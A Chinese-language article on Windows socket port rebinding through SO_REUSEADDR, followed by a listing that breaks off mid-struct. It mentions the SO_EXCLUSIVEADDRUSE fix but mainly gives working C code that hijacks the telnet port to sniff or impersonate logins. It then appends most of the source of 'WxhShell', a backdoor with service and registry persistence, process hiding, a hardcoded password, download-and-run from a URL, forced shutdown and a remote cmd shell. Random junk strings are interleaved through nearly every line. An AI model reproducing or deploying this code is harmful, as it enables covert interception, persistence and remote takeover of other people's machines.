在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
3eg6 CdT s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
N4#D&5I", Ngj&1Ta&[ saddr.sin_family = AF_INET;
yR?./M! fy]c=:EmD saddr.sin_addr.s_addr = htonl(INADDR_ANY);
UX+vU@Co[ ollsB3]] bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
`OfD^Q= iC3C~?,7 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
|Fz ^(US [^Bjmw[7 这意味着什么?意味着可以进行如下的攻击:
?&'Kw>s@ O\CnKNk, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Y[l<fbh(} ^,0Lr$+ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
lb$_$+@Vr eTFep^[ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
pdB\D I_5/e>9 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
U
shIQh s7afj t 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
RC}m]!Uz hxzA1s%~ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
CuD}Uo+u O wuc9 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
&r.M~k
> ; PncJe5x #include
9dw*
++ #include
KF6C=,Yc% #include
~o#mX?'7 #include
NT0n[o^ DWORD WINAPI ClientThread(LPVOID lpParam);
]J [d8S5 int main()
.XqeO@z {
81"` B2 WORD wVersionRequested;
Pz34a@%" DWORD ret;
=[8K#PZ$w WSADATA wsaData;
_P=+\[|y BOOL val;
=\_gT=tZ SOCKADDR_IN saddr;
m%
3 D SOCKADDR_IN scaddr;
HdgNy \ int err;
x!fG%o~h SOCKET s;
"w$,`M?2 SOCKET sc;
?m5EXe int caddsize;
*L9v(Kc HANDLE mt;
Gbjh|j= DWORD tid;
>{QO$F# wVersionRequested = MAKEWORD( 2, 2 );
7UY4* j|[C err = WSAStartup( wVersionRequested, &wsaData );
5[g\.yi2_] if ( err != 0 ) {
' Ut4=@) printf("error!WSAStartup failed!\n");
)
[?xT return -1;
#D/*<:q5 }
R)BXN~dQ saddr.sin_family = AF_INET;
.b+ix=: SkMFJ?J/ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
4w~%MZA^ p J_+n:_{ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
~uH_y- saddr.sin_port = htons(23);
04jvrde8-O if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
nj0sh"~+ {
l 9
wO x printf("error!socket failed!\n");
$,2T~1tE return -1;
'UUj(1
f }
f+Acs*.GQ val = TRUE;
WB?HY?[r //SO_REUSEADDR选项就是可以实现端口重绑定的
(w#t V* if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
(De{r| {
/zt M' printf("error!setsockopt failed!\n");
j{YYG| return -1;
z4:<?K }
R2n
2mQ < //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
hiBsksZRnk //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
2?GMKd) //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
}mXYS|{ QOo'Iv+EL if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
'St6a* {
)PTvw> ret=GetLastError();
Go)g}#.& printf("error!bind failed!\n");
^t5My[R return -1;
>9rZVNMU }
?9a%g\`?: listen(s,2);
F^'$%XK V while(1)
^L5-2;s<U' {
w+>+hq caddsize = sizeof(scaddr);
\OA{&G. //接受连接请求
VO8rd>b4 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
t|eH'"N%o if(sc!=INVALID_SOCKET)
EC;>-s {
Cp(2]Eb mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Nw'03Jzx_ if(mt==NULL)
'"fJA/O {
v8*)^-Fx printf("Thread Creat Failed!\n");
i-Rn,}v break;
6ki2/ Q }
^APtV6g }
xy[#LX)RW CloseHandle(mt);
29,ET}~ }
nq]6S$3
6 closesocket(s);
<-!1`@l> WSACleanup();
/O}<e TR return 0;
s{Y4wvQyB }
'1:) q DWORD WINAPI ClientThread(LPVOID lpParam)
WN+i 3hC {
!Fp %2gt| SOCKET ss = (SOCKET)lpParam;
u*G<? SOCKET sc;
a&x:_vv unsigned char buf[4096];
)^ Y+Vn SOCKADDR_IN saddr;
az6& long num;
Zt!A!Afu DWORD val;
Os@b8V 8,A DWORD ret;
Fs( PVN //如果是隐藏端口应用的话,可以在此处加一些判断
nf/?7~3?[ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
b/'c
h saddr.sin_family = AF_INET;
Mg.%&vH\ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
N!7}B saddr.sin_port = htons(23);
iyl
i/3| if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
RkYn6 {
:.,9}\LK printf("error!socket failed!\n");
]alc%(= return -1;
b$7]cE
}
3$nK
val = 100;
^obuMQ; if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
z~pp7 {
V_gl#e# ret = GetLastError();
Z5>~l return -1;
5,1<A@H }
0cq@lT6 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-!Myw&*\V {
A/>Q5) ret = GetLastError();
(QiA5!wg return -1;
;Zd_2CZ }
N
$) G8 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
W5
F\e[Ax5 {
v
49o$s4J printf("error!socket connect failed!\n");
RW L0@\ closesocket(sc);
]=00<~ l*q closesocket(ss);
. ,^WCyvq return -1;
2|,L 9 }
I_ mus<sE while(1)
IC0L&;En {
dT|f<E/P //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
CaJ-oy8 //如果是嗅探内容的话,可以再此处进行内容分析和记录
Ai<
beUS //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
|6*Bu1 num = recv(ss,buf,4096,0);
Tu#;Y."T if(num>0)
|#@7$#j send(sc,buf,num,0);
U =.PL\ else if(num==0)
G;l7,1;MU: break;
zl@^[km{ num = recv(sc,buf,4096,0);
2h if(num>0)
J,yKO(}<C send(ss,buf,num,0);
(`.OS)& else if(num==0)
(' 5?- break;
bQt:=> }
w(Z ?j%b closesocket(ss);
32[}@f2q closesocket(sc);
KdR4<qVV} return 0 ;
NUFz'MPv }
KS$t "tz6O0D =%X."i1A ==========================================================
hpAdoy[ 9GD0jJEu 下边附上一个代码,,WXhSHELL
fwFJe(. xol%\$| ==========================================================
6{y7e L3! I\.|\^ #include "stdafx.h"
5naFn m7% 1Z# $X` #include <stdio.h>
*,\"}x* #include <string.h>
@V%\Gspv #include <windows.h>
qT$k%( #include <winsock2.h>
c@t?R$c #include <winsvc.h>
Ga7E}y% #include <urlmon.h>
$+*nb4 |Kd#pYt%O #pragma comment (lib, "Ws2_32.lib")
f$o^Xu #pragma comment (lib, "urlmon.lib")
5*YoK)2J |p6d]#z3 #define MAX_USER 100 // 最大客户端连接数
aOzIo- #define BUF_SOCK 200 // sock buffer
iS$[dC ?N #define KEY_BUFF 255 // 输入 buffer
>2s4BV[( G?W:O{n3 #define REBOOT 0 // 重启
Rd#R}yA #define SHUTDOWN 1 // 关机
ra$:ibLN PJ.\)oP #define DEF_PORT 5000 // 监听端口
E]@&<TFq c{MoeIG)v@ #define REG_LEN 16 // 注册表键长度
(;l@d|g #define SVC_LEN 80 // NT服务名长度
d &#_t@% v~nKO?{
// 从dll定义API
l 00i2w typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
]8p{A#1 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
b>07t!; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
f7=MgFi typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
YXA@
c *)RmX$v3 // wxhshell配置信息
Mn0.!J
" struct WSCFG {
*2/Jg'de int ws_port; // 监听端口
]cp b;UfM char ws_passstr[REG_LEN]; // 口令
Z=JKBoAY int ws_autoins; // 安装标记, 1=yes 0=no
1sqE/-v1_^ char ws_regname[REG_LEN]; // 注册表键名
5)#j }`6 char ws_svcname[REG_LEN]; // 服务名
%B%_[<B char ws_svcdisp[SVC_LEN]; // 服务显示名
LZykc
c9g char ws_svcdesc[SVC_LEN]; // 服务描述信息
uH[WlZ4 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
aCG rS{ int ws_downexe; // 下载执行标记, 1=yes 0=no
0?7yM:!l char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
PIri|ZS char ws_filenam[SVC_LEN]; // 下载后保存的文件名
C >*z^6Gz is<:}z };
.vu7$~7 .WF"vUp // default Wxhshell configuration
kKyU?/aj struct WSCFG wscfg={DEF_PORT,
WPNB!"E98 "xuhuanlingzhe",
M)bQvjj 1,
?2<)
Jw "Wxhshell",
mfraw2H "Wxhshell",
$C[z]}iOi "WxhShell Service",
X7*F~LFrj "Wrsky Windows CmdShell Service",
46C%at
M0} "Please Input Your Password: ",
*qpu!z2m|| 1,
u[GZ~L "
http://www.wrsky.com/wxhshell.exe",
[3Q0KCZ0( "Wxhshell.exe"
Af|h*V4Xu };
-<g9) CV5 =6sP`: // 消息定义模块
7[m+r:y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
0+>g/> char *msg_ws_prompt="\n\r? for help\n\r#>";
7'\.QJ!< char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
'Ea3(OsuXn char *msg_ws_ext="\n\rExit.";
fCY|iO0.t char *msg_ws_end="\n\rQuit.";
#w{`6}p char *msg_ws_boot="\n\rReboot...";
Px_8lB/; char *msg_ws_poff="\n\rShutdown...";
gT)(RS`_) char *msg_ws_down="\n\rSave to ";
`^)`J lx`?n<-X char *msg_ws_err="\n\rErr!";
_^<vp char *msg_ws_ok="\n\rOK!";
Cd%5XD^ "hyfo,r char ExeFile[MAX_PATH];
tiK M+
;C int nUser = 0;
4:V
+>Jt HANDLE handles[MAX_USER];
Jq_\r'YE int OsIsNt;
EavBUX$O B7\4^6Tx SERVICE_STATUS serviceStatus;
+Br<;sW SERVICE_STATUS_HANDLE hServiceStatusHandle;
n_QuuUB /uw@o9`~2- // 函数声明
(qAF2& int Install(void);
lS=YnMs6a int Uninstall(void);
<-`bWz=+ int DownloadFile(char *sURL, SOCKET wsh);
ufL,Kq4 int Boot(int flag);
\]x`f3F void HideProc(void);
3!P^?[p3 int GetOsVer(void);
7F"ljkN1S int Wxhshell(SOCKET wsl);
48xgl1R(j void TalkWithClient(void *cs);
7'wpPXdY1 int CmdShell(SOCKET sock);
4!!|P int StartFromService(void);
maap X/J int StartWxhshell(LPSTR lpCmdLine);
G@s:|oe lU1SN/'zx VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
}u^bTR?3 VOID WINAPI NTServiceHandler( DWORD fdwControl );
#]Vw$X_S `gl?y;xC // 数据结构和表定义
yCjc5d|tT SERVICE_TABLE_ENTRY DispatchTable[] =
e#}t
am {
2f(`HSC' {wscfg.ws_svcname, NTServiceMain},
f}c;s {NULL, NULL}
?O25k!7 };
i@/% E~ W *JOK8[Qn // 自我安装
JQ+Mg&&Q int Install(void)
48p3m)5
{
KDN#CU char svExeFile[MAX_PATH];
L4iWR/& HKEY key;
whI4@# strcpy(svExeFile,ExeFile);
R&uPoY,f 7] y3<t // 如果是win9x系统,修改注册表设为自启动
cC8$ oCR? if(!OsIsNt) {
ihkZs3} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Gb^63.} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
i3 js'?7E RegCloseKey(key);
ZRhk2DA#FF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
)=)N9C Ry RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
&^ERaPynd RegCloseKey(key);
B}
qRz return 0;
{A}T^q!m] }
<(E)M@2 }
uz8eS'8 }
i?_Q@uA~<: else {
mLq0;uGL| P~(&lu/;P // 如果是NT以上系统,安装为系统服务
aMqt2{f+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
L'y0$ if (schSCManager!=0)
n[/D>Pi {
Yte*$cJ= SC_HANDLE schService = CreateService
(
%sfwv (
thPAD+u.3 schSCManager,
%Vo'\| wscfg.ws_svcname,
$Y/z+ea wscfg.ws_svcdisp,
2K~v`c*4 SERVICE_ALL_ACCESS,
{:cGt2*~^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
$(&uaDYv SERVICE_AUTO_START,
@#wG)TA SERVICE_ERROR_NORMAL,
HtN:v svExeFile,
eHx {[J? NULL,
o]0E NULL,
.Z7tE? NULL,
,5 8-h?B0v NULL,
DvWBvs, NULL
_~Lu% );
|TJ gH<I if (schService!=0)
#8d#Jw {
S> Fb'rJ3 CloseServiceHandle(schService);
IlEU6Rs
CloseServiceHandle(schSCManager);
[<+T@"y strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
YWPkVvI strcat(svExeFile,wscfg.ws_svcname);
KMT$/I{p, if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
uJ"#j
X RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
drCL7.j#L RegCloseKey(key);
%~eu&\os return 0;
ycN!N }
PR;Bxy }
''2:ZX X CloseServiceHandle(schSCManager);
6@Q; LV+ }
Ps!
\k%FUl }
P w6l' s2sJJdN return 1;
,ig`'U }
Lh+7z>1 )~)T[S // 自我卸载
8hV4l'Pa72 int Uninstall(void)
:|l0x a {
1xxTI{'g[ HKEY key;
BDN}`F[F p7},ymQ|YQ if(!OsIsNt) {
7\dt<VV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
|$8N*7UD RegDeleteValue(key,wscfg.ws_regname);
}T%E;m- RegCloseKey(key);
Z'AjeZyyE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
~Q- /O~ RegDeleteValue(key,wscfg.ws_regname);
i&HU7mP/ RegCloseKey(key);
W__$
i<1 return 0;
B"7~[,he }
a# 0*#&?7@ }
$y)tcVc }
%PVu>^ else {
MDpx@.A, ][f 0ZMa SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
fN`Prs A if (schSCManager!=0)
-6q7ze{@ {
BT:b&"AR[ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
8pmWw? if (schService!=0)
7x*L 1>[`' {
98}l`J=i if(DeleteService(schService)!=0) {
K/& CloseServiceHandle(schService);
Y(JZP\Tf_N CloseServiceHandle(schSCManager);
[CnoMN return 0;
} BP.t$_ }
r*7J#M / CloseServiceHandle(schService);
jJ>I*'w }
NR^Z#BU CloseServiceHandle(schSCManager);
_=w=!U&W }
CS^|="Zs }
9dg+@FS}= ^]LWcJ?"^! return 1;
CIR2sr0a }
h#h)=; ud(w0eX // 从指定url下载文件
en MHKN g int DownloadFile(char *sURL, SOCKET wsh)
Zf)<)o* {
?.I1"C,#VJ HRESULT hr;
Y
Odwd}M char seps[]= "/";
-z/>W+k char *token;
xG%O^ char *file;
c*8k _o, char myURL[MAX_PATH];
?f6Fj char myFILE[MAX_PATH];
P+p:Ed80 ;S2/n$Ju_ strcpy(myURL,sURL);
CfLPs)\ACm token=strtok(myURL,seps);
!;PKx]/& while(token!=NULL)
K`R {
R*"zLJP file=token;
&'5j! token=strtok(NULL,seps);
}e1]Ib! }
Oi!uJofW GQkI7C GetCurrentDirectory(MAX_PATH,myFILE);
EU7mP
MxJ strcat(myFILE, "\\");
r-}C !aF] strcat(myFILE, file);
}8'bXG+ send(wsh,myFILE,strlen(myFILE),0);
k1^&;}/f: send(wsh,"...",3,0);
F-?s8RD hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
!"^//2N+, if(hr==S_OK)
+_fxV|}P return 0;
kEdAt5/U{ else
62OZj%CXN return 1;
&ZPyZj |A
u+^#:; }
j|WN!!7 2K(zYv54 // 系统电源模块
p\|*ff0 int Boot(int flag)
LwCf}4u" {
b;e*`f8T3c HANDLE hToken;
alQ:'K TOKEN_PRIVILEGES tkp;
(d5kD#.N 7OZjLD{ID if(OsIsNt) {
\H?r[]*c% OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
"Kn%|\YL@4 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
wtro'r3 tkp.PrivilegeCount = 1;
4q^'MZm1 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
DmpD`^?-L AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
yFqB2(Dv if(flag==REBOOT) {
GA)t!Xg^ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
p?sC</R return 0;
]OA8H[U-eA }
,dk!hm u else {
tsTCZ);( if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
=qTmFszT return 0;
dxeLu }
}W* q }
lZ }H?n% else {
B}p{$g! if(flag==REBOOT) {
}Ias7d?re if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
1O;q|p'9 return 0;
uyWt{>$ }
1A\N$9Dls else {
Zut"P3d=J if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
q vGkTE return 0;
B"I^hrQ }
QPpC_pZh }
`GT{=XJfY 0=KyupwXC return 1;
;bt%TxuKb }
0)-yLfTn r5\|%5=J // win9x进程隐藏模块
s(Llz]E~ZX void HideProc(void)
io(Rb\#" {
/aD3E"Op sM'%apM# HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
*5|q_K
Pt if ( hKernel != NULL )
<%]i7&8| {
jAb R[QR1% pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
S6Fn(%T+9 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
q'[q] FreeLibrary(hKernel);
vTU*6) }
J9*$@&@S hE>%LcP return;
leJ\ }
=6:>C9 J PK(S~ // 获取操作系统版本
<C,lHt int GetOsVer(void)
-}9a% {
j]'7"b5 OSVERSIONINFO winfo;
]728x["(19 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
6Z3L=j GetVersionEx(&winfo);
u3ns-e if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
o79EDPX return 1;
hV]]%zwR+ else
-9z!fCu3 return 0;
yJAz#~PO/ }
/KH,11)yc kls
6Dk# // 客户端句柄模块
'9d]
B^)F int Wxhshell(SOCKET wsl)
=;?afUj {
(7_}UT@w- SOCKET wsh;
3c.,T struct sockaddr_in client;
aaODj> DWORD myID;
Pwg?a 0B?t:XU , while(nUser<MAX_USER)
TmIw?#q^ {
B)}.%G* int nSize=sizeof(client);
`suEN@^ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
$,9A?' if(wsh==INVALID_SOCKET) return 1;
ny{Yr>:2 h#7p&F handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
vhOX1' if(handles[nUser]==0)
K/Qo~
closesocket(wsh);
9d_
Zdc else
f,}9~r# nUser++;
rsgTd\b }
#.^A5`k WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
$(8CU$gi= I=G-(L/& return 0;
. + }
Td/J6Q90 HXp$\%A) // 关闭 socket
txp^3dZ`^ void CloseIt(SOCKET wsh)
&3_.k {
qlgo#[i closesocket(wsh);
p,K]`pt= nUser--;
Q=~*oYR ExitThread(0);
QpZCU] }
dF<GuS;l5 6./3w&D; // 客户端请求句柄
qzt.k^'-^
void TalkWithClient(void *cs)
lOuO~`,J {
E+!A0!1 A,;V|jv9 SOCKET wsh=(SOCKET)cs;
M4`.[P4 char pwd[SVC_LEN];
/l&$B char cmd[KEY_BUFF];
nA?Ks!9T char chr[1];
EYD24 int i,j;
r(VznKSx >j$y@"+ while (nUser < MAX_USER) {
"|KhqV=?v m#.N if(wscfg.ws_passstr) {
iu+r=sp if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
z+(V2?xcvt //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
J70r` //ZeroMemory(pwd,KEY_BUFF);
.L#U^H| i=0;
iVe"iH while(i<SVC_LEN) {
?|NMJQsa7 'NYW`, // 设置超时
U1^3 &N8 fd_set FdRead;
6I!B>V#U+ struct timeval TimeOut;
!xxdC
FD_ZERO(&FdRead);
aoP=7d|K/ FD_SET(wsh,&FdRead);
QxI^Bx TimeOut.tv_sec=8;
<tx`#, TimeOut.tv_usec=0;
*'ffMnSZ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
wXKg^%t\ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
a
0+W-#G D@
4sq^|2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
B9h'}460H pwd
=chr[0]; 2{;~Bgd
if(chr[0]==0xd || chr[0]==0xa) { s5cY>
pwd=0; dn}'B%
break; NA;OT7X[
} SWWeN#Q
i++; w1J%%//(h
} <A`zK
Mj5&vs~n;
// 如果是非法用户,关闭 socket [wv;CUmgc
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P4{!/&/
} )N'rYS'9
sRKoM
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e[l#r>NT
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,|G~PC8
>o,l/#z
while(1) { 1 ` ={**
VteMsL/H
ZeroMemory(cmd,KEY_BUFF); '}BYMEd/m%
N,ysv/zq7
// 自动支持客户端 telnet标准 -4!S?rHwd+
j=0; Nm4
h
while(j<KEY_BUFF) { NPjNkpWm&=
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }$X/HK
cmd[j]=chr[0]; &X&msEM
if(chr[0]==0xa || chr[0]==0xd) { `m+o^!SGe
cmd[j]=0; P?/Mrz
break; TKs l.|
} bJ5 VlK67R
j++; m4~>n(
} u #Y#,:{
dk>qTY+j5
// 下载文件 `*-rz<G
if(strstr(cmd,"http://")) { mGP&NOR0^y
send(wsh,msg_ws_down,strlen(msg_ws_down),0); %D6HY^]ayw
if(DownloadFile(cmd,wsh)) Bh
,GQHJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X-k$6}D
else Mp,aQ0bNS
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %k i^XB86
} caD)'FSES
else { +Jw+rjnP
Tx:S{n7&
switch(cmd[0]) { ]gjB%R[.m
!>,XK!)
// 帮助 N4rDe]JnPR
case '?': { ~.&PQE$DF
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ffI
z>Of:
break; )PCh;P0C
} ni~1)"U.
// 安装 *c>B,
case 'i': { zr@HYl
if(Install()) <:ptNGR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R?5v//[
else `/RcE.5n\@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F~;UD<<"H
break; |{ TVW
} -F`uz,wZ
// 卸载 PQvpJFpb~h
case 'r': { JDP /vNq
if(Uninstall()) f=paa/k0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KybrSa
else G3${\'<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uq\[^
break; Mem1X rBH
} e]zd6{g[m
// 显示 wxhshell 所在路径 ~ya@ YP]';
case 'p': { EK2mJCC|
char svExeFile[MAX_PATH]; Aq;WQyZ2
strcpy(svExeFile,"\n\r"); 'y%*W:O
strcat(svExeFile,ExeFile); jeWI<ms
send(wsh,svExeFile,strlen(svExeFile),0); {n 4W3
break; ^E]y >Y
} ;/ASl<t,
// 重启 OOZxs?pR
case 'b': { s_#6^_
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a?1Ml>R6P
if(Boot(REBOOT)) 'bn$"A"{o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); m<I>NYfE
else { <_3OiU=w
closesocket(wsh); [ XBVES8
ExitThread(0); Pq3m(+gf
} [Z2mH
break; 0P l>k'9
} F2!]T =
// 关机 ;!pSYcT,
case 'd': { 4_W*LG~2s
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )MeeF-Ad6
if(Boot(SHUTDOWN)) 6H^=\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dks"(0g
else { _fjHa6S
closesocket(wsh); ^8V8,C)
ExitThread(0); /Y0oA3am
}
|Sr
break; ('1]f?:M
} "'*Qq@!3?
// 获取shell W0k7(v)
case 's': { m8<.TCIQ
CmdShell(wsh); %`\=qSf*
closesocket(wsh); Wa<SYJ
ExitThread(0); Lk2;\ D>
break; "U|u-ka8B
} :wY(</H
// 退出 bY}:!aR<mK
case 'x': { bj,cU)t0
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -9;XNp
CloseIt(wsh); bBY7^k
break; se*!OiOt
} 2Dw}o;1'
// 离开 X}ft7;Jpy
case 'q': { D9%t67s
send(wsh,msg_ws_end,strlen(msg_ws_end),0); )QW
p[bV
closesocket(wsh); ZmAo9>'Kg
WSACleanup(); n+D93d9LP
exit(1); TpRI+*\
break; {xRO.699
} Q?V'3ZZF!
} tqXCj}mR
} D_M73s!U
Kb~i9x&
// 提示信息 #k|f%!-Vo
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); irF+(&q]jh
} FZ5
Ad&".@
} Jvr`9<`
En{<
OMg
return; 5
51p*
B2
} Y*0j/91
6kHuKxY,
// shell模块句柄 -\~HAnh
int CmdShell(SOCKET sock) ~;vt{pk
{ IVso/!
STARTUPINFO si; Q(jIqY1Hf
ZeroMemory(&si,sizeof(si)); :aR_f`KMm
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k-I U}|Xz
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \[<8AV"E-'
PROCESS_INFORMATION ProcessInfo; n'83P%x
char cmdline[]="cmd"; `{H!V~42
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ntlbn&lc;D
return 0; $_O;yz
} 0?*":o30
d@ef+-
// 自身启动模式 q"VC#97`
int StartFromService(void) `>u^Pm
{ oT i$@q
typedef struct FJ2~SKWT
{ ^?S lM
DWORD ExitStatus; thSXri?kl
DWORD PebBaseAddress; YP73
DWORD AffinityMask; Ww
=ksggpB
DWORD BasePriority; ZY*_x)h+#7
